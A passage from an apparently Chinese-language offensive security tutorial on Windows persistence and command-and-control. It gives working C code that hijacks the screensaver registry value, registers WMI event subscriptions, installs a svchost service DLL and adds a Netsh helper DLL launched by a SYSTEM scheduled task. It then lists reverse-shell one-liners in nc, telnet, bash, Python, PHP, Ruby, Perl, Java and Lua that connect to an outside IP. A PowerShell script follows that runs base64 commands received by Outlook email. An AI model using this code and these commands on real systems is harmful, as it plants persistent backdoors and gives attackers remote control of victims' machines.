           rcode  = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_SZ,  set_buffer, set_value_size);

           if  (rcode != ERROR_SUCCESS)

           {

              goto  ERROR_EXIT;

           }

          

           //判断是否有配置屏保启动时间

           value_buffer_size  = sizeof(shell_value_buffer);

           rcode  = RegQueryValueEx(desktop_key,_TEXT("ScreenSaveTimeOut"), NULL,  &key_value_type, shell_value_buffer, &value_buffer_size);

           if(rcode  != ERROR_SUCCESS && rcode == 0x2)

           {

              //设置启动时间,60秒无鼠标键盘活动后启动屏保

              lstrcpy((TCHAR*)set_buffer,  _TEXT("60"));

              set_value_size  = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

 

              rcode  = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeOut"), NULL,  REG_SZ, set_buffer, set_value_size);

              if  (rcode != ERROR_SUCCESS)

              {

                  goto  ERROR_EXIT;

              }

           }

 

       }

       else  if(lstrcmp(_TEXT("0"), (TCHAR*)shell_value_buffer) == NULL)

       {

           //该值为0,未开启屏幕保护功能

          

           //设置待启动程序路径

           lstrcpy((TCHAR*)set_buffer,  _TEXT("C:\\topsec.exe"));

           set_value_size  = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

 

           rcode  = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_SZ,  set_buffer, set_value_size);

           if  (rcode != ERROR_SUCCESS)

           {

              goto  ERROR_EXIT;

           }

 

           //设置启动时间,60秒无鼠标键盘活动后启动屏保

           lstrcpy((TCHAR*)set_buffer,  _TEXT("60"));

           set_value_size  = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

 

           rcode  = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeOut"), NULL,  REG_SZ, set_buffer, set_value_size);

           if  (rcode != ERROR_SUCCESS)

           {

              goto  ERROR_EXIT;

           }

 

           //开启屏保功能

           lstrcpy((TCHAR*)set_buffer,  _TEXT("1"));

           set_value_size  = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

 

           rcode  = RegSetValueEx(desktop_key, _TEXT("ScreenSaveActive"), NULL,  REG_SZ, set_buffer, set_value_size);

           if  (rcode != ERROR_SUCCESS)

           {

              goto  ERROR_EXIT;

           }

       }

    }

 

    ret  = TRUE;

 

ERROR_EXIT:

    if  (desktop_key != NULL)

    {

       RegCloseKey(desktop_key);

       desktop_key  = NULL;

    }

   

 

    return  ret;

}
View Code

其中topsec.exe 代码如下:

#include "stdafx.h"

#include <Windows.h>

#include <tchar.h>

 

int _tmain(int argc, _TCHAR* argv[])

{

    int  i = 10000;

    while(i)

    {

       i--;

       Sleep(1000);

       OutputDebugString(_TEXT("Hello  Topsec!!!"));

    }

    return  0;

}
View Code

当该用户因鼠标键盘未操作触发屏保程序运行,我们的程序就被启动了,运行后的效果及注册表键值情况如下图所示:

 

0x12:利用 Windows Management Instrumentation Event Subscription)(WMI事件订阅)实现持久化

1. 原理介绍 

Windows管理规范(WindowsManagement Instrumentation,缩写WMI)由一系列对Windows Driver Model的扩展组成,它通过仪器组件提供信息和通知,提供了一个操作系统的接口。

从攻击者或防御者的角度来看,WMI最强大的功能之一是WMI能够响应WMI事件。除了少数例外,WMI事件可用于响应几乎任何操作系统事件。例如,

  • WMI事件可用于在进程创建时触发事件

然后,可以将此机制用作在任何Windows操作系统上执行命令行指令。

有两类WMI事件,

  • 在单个进程的上下文中本地运行的事件:本地事件持续主机进程的生命周期
  • 永久WMI事件:永久WMI事件存储在WMI存储库中,以SYSTEM身份运行,并在重新引导后保持不变

有很多APT组织使用这种技术来维持后门持久性,如何防御WMI攻击值得安全研究人员进行了解。

WMI允许通过多种方式来管理本地或远程的Windows计算机或服务器,包括,

  • 脚本语言
    • VBScript
    • Windows PowerShell
  • Windows Management Instrumentation Command-line(WMIC.exe):微软为WMI提供了一个称之为的命令行界面,我们可以通过WMIC工具来管理系统中的WMI

WMI查询使用WMI查询语言(WQL),它是SQL的一个子集,具有较小的语义更改以支持WMI。WQL支持三种类型的查询,

  • 数据查询
  • 架构查询
  • 事件查询
    • 消费者使用事件查询进行注册,以接收事件通知(常用于系统事件监控)
    • 事件提供程序则使用事件查询进行注册以支持一个或多个事件(常用于系统运维和后门持久化)

要安装永久WMI事件订阅,需要执行以下三步:

  • 注册事件过滤器(Event Filter):指定感兴趣的事件,或者说触发条件
  • 注册事件消费者(Event Consumer):指定触发事件时要执行的操作
  • 绑定事件消费者和过滤器:将事件过滤器和事件消费者绑定,以在事件触发时执行指定操作

如下的代码演示了如何通过利用WMIC工具注册WMI事件来实现后门持久化,注册的事件会在系统启动时间120后收到通知,执行CMD命令调用Rundll32加载我们指定的DLL并执行其导出函数。

BOOL add_wmi_filter()

{

    BOOL   ret = FALSE;

    int    path_len = NULL;

    TCHAR*command = NULL;

    STARTUPINFO  si = {0};

    PROCESS_INFORMATION  pi = {0};

 

    si.cb  = sizeof(STARTUPINFO);

    si.wShowWindow  = SW_HIDE;

    command  = new TCHAR[MAXBYTE * 7];

    if  (command == NULL)

    {

       goto  ERROR_EXIT;

    }

 

    //添加一个 event filter

    wsprintf(command,  _TEXT("cmd \/c \"wmic  \/NAMESPACE:\"\\\\root\\subscription\" PATH __EventFilter CREATE  Name=\"TopsecEventFilter\",  EventNameSpace=\"root\\cimv2\",QueryLanguage=\"WQL\",  Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE  TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND  TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime <  150\"\""));

 

    if(!CreateProcess(NULL,  command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

    {

       goto  ERROR_EXIT;

    }

 

    WaitForSingleObject(pi.hProcess,  INFINITE);

    TerminateProcess(pi.hProcess,  0);

   

 

    //添加一个事件消费者

    wsprintf(command,  _TEXT("cmd \/c \"wmic  \/NAMESPACE:\"\\\\root\\subscription\" PATH CommandLineEventConsumer  CREATE Name=\"TopsecConsumer\",  ExecutablePath=\"C:\\Windows\\System32\\cmd.exe\",CommandLineTemplate=\"  \/c Rundll32 C:\\topsec.dll RunProc\"\""));

   

    memset(&pi,  0, sizeof(pi));

    if(!CreateProcess(NULL,  command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

    {

       goto  ERROR_EXIT;

    }

   

    WaitForSingleObject(pi.hProcess,  INFINITE);

    TerminateProcess(pi.hProcess,  0);

 

   

    //绑定事件及消费者

    wsprintf(command,  _TEXT("cmd \/c \"wmic  \/NAMESPACE:\"\\\\root\\subscription\" PATH __FilterToConsumerBinding  CREATE  Filter=\"__EventFilter.Name=\\\"TopsecEventFilter\\\"\",  Consumer=\"CommandLineEventConsumer.Name=\\\"TopsecConsumer\\\"\"\""));

 

    memset(&pi,  0, sizeof(pi));

    if(!CreateProcess(NULL,  command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

    {

       goto  ERROR_EXIT;

    }

 

    WaitForSingleObject(pi.hProcess,  INFINITE);

    TerminateProcess(pi.hProcess,  0);

 
    ret  = TRUE;

ERROR_EXIT:

    if  (command != NULL)

    {

       delete[]  command;

       command  = NULL;

    }

  
    return  ret;

}
View Code

2. 攻击过程  

攻击者也可以利用这个特征,将恶意代码逻辑植入回调执行中,从而保证其恶意软件的持久性。

wmic  /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="fuckyoumm3", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10800 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

同时,攻击者也可以将wmi指令封装到MOF(Windows Management Object (MOF))文件中。

Relevant Link: 

https://xz.aliyun.com/t/2873

0x13:创建新服务实现后门代码持久化

1. 原理介绍 

服务(service)是Windows上一个重要的机制,服务程序通常默默的运行在后台,且拥有SYSTEM权限,非常适合用于后门持久化。

攻击者可以将EXE文件注册为服务,也可以将DLL文件注册为服务。从命令行特征来看,启动的进程都是svchost.exe,而不会显示具体的exe或者dll,所以对恶意服务的监控不能单纯从命令行层面入手。 

Service Host (Svchost.exe) 是共享服务进程,作为DLL文件类型服务的外壳,由Svchost程序加载指定服务的DLL文件。

不同的共享服务会关联到不同的Service host组中,每个组运行在不同的Service Host进程中。这样如果一个Service Host发生问题不会影响其他的Service Host。

Windows通过将服务与匹配的安全性要求相结合,来确定Service Host Groups,部分默认的组名包括:

  • Local Service
  • Local Service No Network
  • Local Service Network Restricted
  • Local System
  • Local System Network Restricted
  • Network Service

在系统启动时,Svchost.exe会检查注册表以确定应加载哪些服务,注册表路径“HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Svchost” 

而在注册表“HKLM\SYSTEM\CurrentControlSet\Services”,保存着注册服务的相关信息,以netsvcs组中的AeLoookupSvc为例,

2. 实现过程

如下的代码演示了如何添加一个利用Svchost启动的DLL共享服务,

BOOL search_svchost_service_name(TCHAR*  service_name_buffer, PDWORD buffer_size)

{

    BOOL  bRet = FALSE;

    int  rc = 0;

    HKEY  hkRoot;

    BYTE  buff[2048];

    TCHAR*  ptr = NULL;

 

    DWORD  type;

    DWORD  size = sizeof(buff);

    int  i = 0;

    bool  bExist = false;

    TCHAR  tmp_service_name[50];

    TCHAR*  pSvchost = _TEXT("SOFTWARE\\Microsoft\\Windows  NT\\CurrentVersion\\Svchost");

 

    rc  = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);

    if(ERROR_SUCCESS  != rc)

    {

       return  NULL;

    }

 

    rc  = RegQueryValueEx(hkRoot, _TEXT("netsvcs"), 0, &type, buff,  &size);

    SetLastError(rc);

    if(ERROR_SUCCESS  != rc)

    {

       RegCloseKey(hkRoot);

       return  NULL;

    }

 

    do

    {  

       wsprintf(tmp_service_name,  _TEXT("netsvcs_0x%d"), i);

       for(ptr  = (TCHAR*)buff; *ptr; ptr = _tcschr(ptr, 0)+1)

       {

           if  (lstrcmpi(ptr, tmp_service_name) == 0)

           {  

              bExist  = true;

              break;

           }

       }

       if  (bExist == false)

       {

           break;

       }

       bExist  = false;

       i++;

    }  while(1);

 

    memcpy(buff  + size - sizeof(TCHAR), tmp_service_name, lstrlen(tmp_service_name) *  sizeof(TCHAR) + sizeof(TCHAR));

 

    rc  = RegSetValueEx(hkRoot, _TEXT("netsvcs"), 0, REG_MULTI_SZ, buff,  size + lstrlen(tmp_service_name) * sizeof(TCHAR) + sizeof(TCHAR));

    if(ERROR_SUCCESS  != rc)

    {

       goto  ERROE_EXIT;

    }

 

 

    if  (bExist == false)

    {

       lstrcpyn(service_name_buffer,  tmp_service_name, *buffer_size);

       *buffer_size  =lstrlen(service_name_buffer);

    }

 

    bRet  = TRUE;

 

ERROE_EXIT:

    if  (hkRoot != NULL)

    {

       RegCloseKey(hkRoot);

       hkRoot  = NULL;

    }

    return  bRet;

}

 

 

BOOL install_service(LPCTSTR  full_dll_path, TCHAR* service_name_buffer, PDWORD buffer_size)

{

    BOOL  bRet = FALSE;

    int  rc = 0;

    HKEY  hkRoot = HKEY_LOCAL_MACHINE;

    HKEY  hkParam = 0;

    SC_HANDLE  hscm = NULL;

    SC_HANDLE  schService = NULL;

    TCHAR   strModulePath[MAX_PATH];

    TCHAR  strSysDir[MAX_PATH];

    DWORD  dwStartType = 0;

 

 

    BYTE  buff[1024];

    DWORD  type;

    DWORD  size = sizeof(buff);

 

    TCHAR*  binary_path = _TEXT("%SystemRoot%\\System32\\svchost.exe -k  netsvcs");

 

    TCHAR*  ptr;

    TCHAR*  pSvchost = _TEXT("SOFTWARE\\Microsoft\\Windows  NT\\CurrentVersion\\Svchost");

    rc  = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);

    if(ERROR_SUCCESS  != rc)

    {

       goto  ERROR_EXIT;

    }

 

    rc  = RegQueryValueEx(hkRoot, _TEXT("netsvcs"), 0, &type, buff,  &size);

    RegCloseKey(hkRoot);

    SetLastError(rc);

    if(ERROR_SUCCESS  != rc)

    {

       goto  ERROR_EXIT;

    }

 

 

    //install  service

    hscm  = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

    if  (hscm == NULL)

    {

       goto  ERROR_EXIT;

    }

 

 

    if(!search_svchost_service_name(service_name_buffer,  buffer_size))

    {

       goto  ERROR_EXIT;

    }

 

    schService  = CreateService(

       hscm,                      // SCManager database

       service_name_buffer,                    // name of service

       service_name_buffer,           // service name to display

       SERVICE_ALL_ACCESS,        // desired access

       SERVICE_WIN32_OWN_PROCESS,

       SERVICE_AUTO_START,      // start type

       SERVICE_ERROR_NORMAL,      // error control type

       binary_path,        // service's binary

       NULL,                      // no load ordering group

       NULL,                      // no tag identifier

       NULL,                      // no dependencies

       NULL,                      // LocalSystem account

       NULL);                     // no password

    dwStartType  = SERVICE_WIN32_OWN_PROCESS;

 

    if  (schService == NULL)

    {

       goto  ERROR_EXIT;

    }

 

    CloseServiceHandle(schService);

    CloseServiceHandle(hscm);

 

    //config  service

    hkRoot  = HKEY_LOCAL_MACHINE;

    lstrcpy((TCHAR*)buff,  _TEXT("SYSTEM\\CurrentControlSet\\Services\\"));

    lstrcat((TCHAR*)buff,  service_name_buffer);

    rc  = RegOpenKeyEx(hkRoot, (TCHAR*)buff, 0, KEY_ALL_ACCESS, &hkRoot);

    if(ERROR_SUCCESS  != rc)

    {

       goto  ERROR_EXIT;

    }

 

    rc  = RegCreateKey(hkRoot, _TEXT("Parameters"), &hkParam);

    if(ERROR_SUCCESS  != rc)

    {

       goto  ERROR_EXIT;

    }

 

 

    rc  = RegSetValueEx(hkParam, _TEXT("ServiceDll"), 0, REG_EXPAND_SZ,  (PBYTE)full_dll_path, lstrlen(full_dll_path)   * sizeof(TCHAR) + sizeof(TCHAR));

    if(ERROR_SUCCESS  != rc)

    {

       goto  ERROR_EXIT;

    }

   

    bRet  = TRUE;

   

ERROR_EXIT:

    if(hkParam  != NULL)

    {

       RegCloseKey(hkParam);

       hkParam  = NULL;

    }

    if(schService  != NULL)

    {

       CloseServiceHandle(schService);

       schService  = NULL;

    }

    if(hscm  != NULL)

    {

       CloseServiceHandle(hscm);

       hscm  = NULL;

    }

 

    return  bRet;

}

 

 

 

void start_service(LPCTSTR lpService)

{

    SC_HANDLE  hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );

    if  ( NULL != hSCManager )

    {

       SC_HANDLE  hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);

       if  ( NULL != hService )

       {

           StartService(hService,  0, NULL);

           CloseServiceHandle(  hService );

       }

       CloseServiceHandle(  hSCManager );

    }

}

 

BOOL add_to_service()

{

    //

    BOOL  bRet = FALSE;

    DWORD  service_name_size;

    TCHAR  service_name[MAXBYTE * 2];

 

    service_name_size  = sizeof(service_name) / sizeof(TCHAR);

 

    if(install_service(_TEXT("C:\\service.dll"),service_name,  &service_name_size))

    {

       start_service(service_name);

       _tprintf(_TEXT("install  service successful!!!"));

       bRet=  TRUE;

    }

    else

    {

       _tprintf(_TEXT("can  not install service!!!"));

    }

 

    return  bRet;

}
View Code

而服务DLL也需要满足一定的格式,该服务必须导出ServiceMain()函数并调用RegisterServiceCtrlHandlerEx()函数注册Service Handler, 

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                   )
{
    switch  (ul_reason_for_call)
    {
    case  DLL_PROCESS_ATTACH:
    case  DLL_THREAD_ATTACH:
    case  DLL_THREAD_DETACH:
    case  DLL_PROCESS_DETACH:
       break;
    }

    return  TRUE;
}

SERVICE_STATUS_HANDLE  g_service_status_handle = NULL;
SERVICE_STATUS g_service_status =

{
    SERVICE_WIN32_SHARE_PROCESS,
    SERVICE_START_PENDING,
    SERVICE_ACCEPT_STOP  | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE
};

 
DWORD WINAPI ServiceHandler(DWORD  dwControl,DWORD dwEventType,LPVOID lpEventData,LPVOID lpContext)
{
    switch  (dwControl)
    {
    case  SERVICE_CONTROL_STOP:
    case  SERVICE_CONTROL_SHUTDOWN:
       g_service_status.dwCurrentState  = SERVICE_STOPPED;
       break;
    case  SERVICE_CONTROL_PAUSE:
       g_service_status.dwCurrentState  = SERVICE_PAUSED;
       break;
    case  SERVICE_CONTROL_CONTINUE:
       g_service_status.dwCurrentState  = SERVICE_RUNNING;
       break;
    case  SERVICE_CONTROL_INTERROGATE:
       break;
    default:
       break;
    };


    SetServiceStatus(g_service_status_handle,  &g_service_status);

    return  NO_ERROR;
}


extern "C"  __declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc,LPCTSTR* lpszArgv)
{
    g_service_status_handle  = RegisterServiceCtrlHandlerEx(_TEXT("Svchost Service"),  ServiceHandler, NULL);
    if  (!g_service_status_handle)
    {
       return;
    }

    g_service_status.dwCurrentState  = SERVICE_RUNNING;

    SetServiceStatus(g_service_status_handle,  &g_service_status);

    while(TRUE)
    {
       Sleep(1000);
       OutputDebugString(_TEXT("Hello  Topsec In Svchost"));
    }

    return;
};
View Code

0x14:利用 NetshHelper DLL 实现持久化

1. 原理介绍

Netsh.exe(也称为Netshell)是一个命令行脚本实用程序,用于与系统的网络配置进行交互。

它包含添加辅助DLL以扩展实用程序功能的功能,使用“netsh add helper”即可注册新的扩展DLL,注册扩展DLL后,在启动Netsh的时候便会加载我们指定的DLL。注册的Netsh Helper DLL的路径会保存到Windows注册表中的HKLM\SOFTWARE\Microsoft\Netsh路径下。

攻击者可以使用带有Helper DLL的Netsh.exe以持久方式代理执行任意代码。

但要注意的是,netsh本身不能主动执行执行,它是被动执行启动的,所以netsh攻击常常需要借助例如计划任务这种机制来得以执行。从防守方视角来看,netsh攻击常常和wmi/计划任务等攻击异常伴随出现。 

如下的代码演示了攻击者如何通过在Netsh命令添加Helper DLL并通过调用schtasks程序来新建计划任务,实现代码持久化的目的。

BOOL  add_to_netsh_helper(LPCTSTR dll_path)

{

    BOOL   ret  = FALSE;

    int    path_len  = NULL;

    TCHAR*command  = NULL;

    STARTUPINFO si = {0};

    PROCESS_INFORMATION pi = {0};

 

    si.cb = sizeof(STARTUPINFO);

    path_len = _tcslen(dll_path);

    command = new TCHAR[(path_len *  sizeof(TCHAR) +  sizeof(TCHAR)) * 2];

   

    //添加netsh helper

    wsprintf(command, _TEXT("cmd \/c  \"netsh add helper %s\""), dll_path);

   

    if(!CreateProcess(NULL, command, NULL,  NULL, FALSE, NULL, NULL, NULL, &si, &pi))

    {

       goto ERROR_EXIT;

    }

 

    WaitForSingleObject(pi.hProcess,  INFINITE);

   

    memset(&pi, 0, sizeof(pi));

 

    //添加netsh主程序到计划任务

    wsprintf(command, _TEXT("cmd \/c  \"schtasks.exe \/create \/tn \"init\" \/ru SYSTEM \/sc ONSTART  \/tr \"C:\\windows\\system32\\netsh.exe\"\""));

 

    if(!CreateProcess(NULL, command, NULL,  NULL, FALSE, NULL, NULL, NULL, &si, &pi))

    {

       goto ERROR_EXIT;

    }

 

    WaitForSingleObject(pi.hProcess,  INFINITE);

 

ret = TRUE;

 

ERROR_EXIT:

    if (command != NULL)

    {

       delete[] command;

       command = NULL;

    }

    return ret;

}
View Code

其中Netsh Helper DLL需要导出一个函数供Netsh调用,导出函数原型及关键代码如下:

BOOL APIENTRY DllMain( HMODULE hModule,

                       DWORD  ul_reason_for_call,

                       LPVOID lpReserved

                   )

{

    switch  (ul_reason_for_call)

    {

    case  DLL_PROCESS_ATTACH:

       OutputDebugString(_TEXT("Load  DLL~~"));

       break;

    case  DLL_THREAD_ATTACH:

    case  DLL_THREAD_DETACH:

    case  DLL_PROCESS_DETACH:

       break;

    }

    return  TRUE;

}

 

DWORD _stdcall NewThreadProc(LPVOID  lpParam)

{

    while  (TRUE)

    {

       OutputDebugString(_TEXT("Netsh  Helper, Hello Topsec"));

    }

   

    return  0;

}

 

extern "C" DWORD  _stdcall InitHelperDll(DWORD  dwNetshVersion, PVOID Reserved)

{

    CreateThread(NULL,  NULL, NewThreadProc, NULL, NULL, NULL);

    MessageBox(NULL,  _TEXT("Netsh Helper, Hello Topsec"), NULL, MB_OK);

    return  NO_ERROR;

}
View Code

上面的代码首先添加Netsh Helper DLL,然后添加计划任务,在系统启动的时候启动Netsh。计算机重启后效果如图: 

运行后的注册表键值情况如下图所示: 

Relevant Link: 

https://mp.weixin.qq.com/s?__biz=Mzg3MDAzMDQxNw==&mid=2247487197&idx=2&sn=b3e074ea7c524e78a964d5e899486a50&chksm=ce9543e3f9e2caf58b7338f25019fb74d2d69f7ba2fb72af667c2d241c3891e3c5cdc3e00ad4&scene=21#wechat_redirect 

 

5. 指挥和控制(Command and Control)

0x1:反弹shell

1. 通过Netcat发起反弹

Linux GNU
nc -e /bin/sh 110.123.134.144 4444

windows下需要-e参数
nc.exe -e C:\WINDOWS\system32\cmd.exe 110.123.134.144 4444

BSD版
# 先在受害机器上创建了一个先进先出的文件bd
# 将fifo文件的一头和/bin/sh连接,即将从nc接受到的远程指令通过fifo文件实时转发进/bin/sh
# 2>&1是将stderr传给stdout,然后重定向给nc,即将fifo文件的另一头和nc远程连接进行连接
# nc连接控制机,接受控制机的输入,传给bd这个文件,fifo作为中转实现指令和结果的双向传输
rm /tmp/bd;mkfifo /tmp/bd;cat /tmp/bd | /bin/sh -i 2>&1 | nc 110.123.134.144 4444 >/tmp/bd

除了mkfifo,mknod也有创建FIFO文件的功能
rm p;mknod bd p;cat bd|/bin/sh -i 2>&1|nc 110.123.134.144 4444 >bd
rm p;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 110.123.134.144 4444 1>/tmp/backpipe

通过两个telnet相连来构成一个reverse shell
nc 110.123.134.144 4444 | /bin/sh |nc 110.123.134.144 4444

如果没有权限使用mkfifo /tmp/backpipe也可以创建一个管道
rm -f /tmp/p; mknod /tmp/p p && nc 110.123.134.144 4444 0/tmp/p

2. Telnet

Linux GNU
telnet -e /bin/sh 110.123.134.144 4444

windows下需要-e参数
telnet -e C:\WINDOWS\system32\cmd.exe 110.123.134.144 4444

BSD版
rm /tmp/bd;mkfifo /tmp/bd;cat /tmp/bd | /bin/sh -i 2>&1 | telnet 110.123.134.144 4444 >/tmp/bd
rm p;mknod bd p;cat bd|/bin/sh -i 2>&1|telnet 110.123.134.144 4444 >bd

通过两个telnet相连来构成一个reverse shell
telnet 110.123.134.144 4444 | /bin/sh |telnt 110.123.134.144 4444

3. Bash

# -c参数是将后面的字符串当做命令执行
# -i参数是得到一个交互式的shell
# /dev/tcp/127.0.0.1/8899建立tcp连接,其中的tcp也可换做udp
# &>/dev/tcp/127.0.0.1/8899 将stdout,stderr输出到socket文件;这里有人也用>&做stdout,stderr的重定向,两者是等价的
# 0>&1是将stdin重定向,从stdout中取,也即从socket文件中取,也即从远端控制机的输入中取
bash -c "bash -i &> /dev/tcp/127.0.0.1/8090 0>&1"
bash -c "bash -i >& /dev/tcp/127.0.0.1/8090 0>&1"
bash -c "bash -i >& /dev/udp/127.0.0.1/8090 0>&1"
bash -c "bash -i &> /dev/udp/127.0.0.1/8090 0>&1"

/bin/bash -i > /dev/tcp/127.0.0.1/8090 0<&1 2>&1

4. exec

# exec是一个内建命令
# exec 9<> /dev/tcp/localhost/8080建立一个tcp连接并以9为fd来读写
# exec 0<&9&&exec 1>&9 2>&1将stdin,stdout,stderr都和文件描述符9做绑定。这样标准输入输出错误都重定向到了socket中,文件描述符9相当于一种双向的信息中转
# /bin/bash --noprofile 开启一个bash子进程,继承了父进程的fd,也即将stdin,stdout,stderr都交给了socket连接,有控制机控制,得到一个交互shell
exec 9<> /dev/tcp/127.0.0.1/8090&&exec 0<&9&&exec 1>&9 2>&1&&/bin/bash --noprofile 
# 数字9仅仅是一个文件描述符,可以是大于3的任何数字
exec 11<> /dev/tcp/127.0.0.1/8090&&exec 0<&11&&exec 1>&11 2>&1&&/bin/bash --noprofile 
  
# 也可以将代码通过bash -c包裹起来
bash -c "exec 9<> /dev/tcp/127.0.0.1/8090&&exec 0<&9&&exec 1>&9 2>&1&&/bin/bash --noprofile"

0<&196;exec 196<>/dev/tcp/127.0.0.1/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/127.0.0.1/8090;cat <&5 | while read line; do $line 2>&5 >&5; done

5. Python

# 导入三个包socket,subprocess,os
# 实例化一个TCP socket为s
# 连接,此处需要更改为自己的IP和端口
# os.dup2是复制文件描述符,将stdin,stdout,stderr都重定向到s这个连接
# subprocess.call开启子进程,继承父进程的环境,包括文件描述符
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<target ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

6. PHP

# fsockopen建立一个tcp连接,一般会给他分配文件描述符3,也可以是其他数字
# 然后是in/output重定向,启动子进程,继承父进程文件描述符句柄
php -r '$sock=fsockopen("<target ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

7. Ruby

ruby -rsocket -e'f=TCPSocket.open("<target ip>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# for linux machine
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# for windows machine
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

8. Perl

perl -e 'use Socket;$i="<target ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# 直接调用package
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

9. Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

java需要将代码写入.java文件中,并在命令行进行编译后执行,不能直接在cmdline进行inline eval

10. lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Relevant Link:

https://xkon.github.io/2015/09/04/Linux%E5%BB%BA%E7%AB%8B%E5%8F%8D%E5%90%91shell%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F/
https://michaelwayneliu.github.io/2017/02/15/first/ 
https://masterxsec.github.io/2017/07/21/Linux%E5%8F%8D%E5%BC%B9shell%E7%9A%8410%E7%A7%8D%E5%A7%BF%E5%8A%BF/
http://www.zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html

 

6. 隐蔽通信技术

0x1:利用COM组件调用Outlook收发邮件和C&C通信

The COM (Component Object Model technology) object is a technology developed by Microsoft for Windows systems. The purpose of this technology is to be able to control another application like an object. The technology could be considered as an inter-process communication channel.

Step 1: the malware is waiting for a new incoming email;
Step 2: the malware checks the identity of the sender;
Step 3: If the identity is the malware operator, the content of the object is decoded and executed;
Step 4: the email is removed and the process goes back to step 1

powershell示例代码

$action = {
  $outlook = new-object -com outlook.application;
  $ns = $outlook.GetNameSpace(“MAPI”);
  $inbox = $ns.GetDefaultFolder(6);
  $inbox.items | foreach {
    if($_.unread -eq $True) {
      if ($_.SenderEmailAddress.equals(“supervilain@vilain.fr”)) {
        $command = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($_.Subject))
        $job = { Invoke-Expression -Command: $args[0] }
        Start-Job -Name ex -ScriptBlock $job -ArgumentList $command
        $_.Delete()
      } 
    }
  }
}
$ol = new-object -com outlook.application;
$null = Register-ObjectEvent $ol NewMailEx -SourceIdentifier MyAlert -Action $Action;

Relevant Link:

http://www.sekoia.fr/blog/malware-and-com-object-the-paradise-of-covert-channels/
https://www.virusbulletin.com/virusbulletin/2014/08/icoscript-using-webmail-control-malware

0x2:SSH隧道

隧道是一种把一种网络协议封装进另外一种网络协议进行传输的技术。
ssh隧道本质就是将ssh协议作为外层wraper协议,借助ssh进程以及ssh协议作为中间人进行数据以及连接的转发。
ssh隧道通常会绑定一个本地端口,所有发向这个端口端口的数据包,都会被加密并透明地传输到远端系统。

ssh隧道有3种类型:

1. 动态端口转发(Socks 代理)
2. 本地端口转发
3. 远端端口转发

假设X网络(192.168.18.0/24)有主机A(192.168.18.100),Y网络(192.168.2.0/24)有主机B(192.168.2.100)和主机C(192.168.2.101),已知主机A可以连接主机B(内部网络边界的一台机器),但无法连接主机C(内网机器),A主机希望能访问到主机C上的一些内网服务。我们下面的3类都以这个例子作为说明

1. 动态端口转发 - 全端口隧道转发

动态端口允许通过配置一个本地端口,把通过隧道的数据转发到远端服务器的所有地址。本地的应用程序需要使用Socks协议与本地端口通讯。此时SSH tunnel充当Socks代理服务器的角色。
在主机A(外部网络本机)执行

# localhost -> 访问本地8080端口 -> 数据通过隧道转发到192.168.2.100(ssh端口转发服务器)
ssh -D localhost:8080 root@192.168.2.100
# 然后主机A上的应用程序就可以通过socks代理访问192.168.2.101(实际上不只是主机C,主要是机器B网络可达的机器都可以正常访问,例如我们借助该隧道进行内网端口扫描)
SOCKS5 localhost:8080

